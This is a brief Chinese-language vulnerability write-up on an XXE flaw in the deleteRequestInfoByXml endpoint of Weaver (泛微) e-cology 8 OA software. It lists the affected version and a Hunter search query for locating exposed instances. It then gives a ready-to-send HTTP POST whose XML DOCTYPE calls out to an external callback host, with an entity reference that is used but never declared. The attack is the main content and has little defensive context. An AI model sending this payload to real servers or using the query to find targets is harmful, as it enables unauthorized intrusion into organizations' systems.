泛微E-cology8 deleteRequestInfoByXml存在XXE漏洞
一、漏洞简介
泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。泛微E-cology8 deleteRequestInfoByXml存在XXE漏洞
二、影响版本
- 泛微e-cology 8
三、资产测绘
- hunter
app.name="泛微 e-cology OA" - 特征
四、漏洞复现
POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host:
Content-Type: application/xml
Content-Length: 131
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://hsdtcwwetk.dgrh3.cn">
<M><syscode>&send;</syscode></M>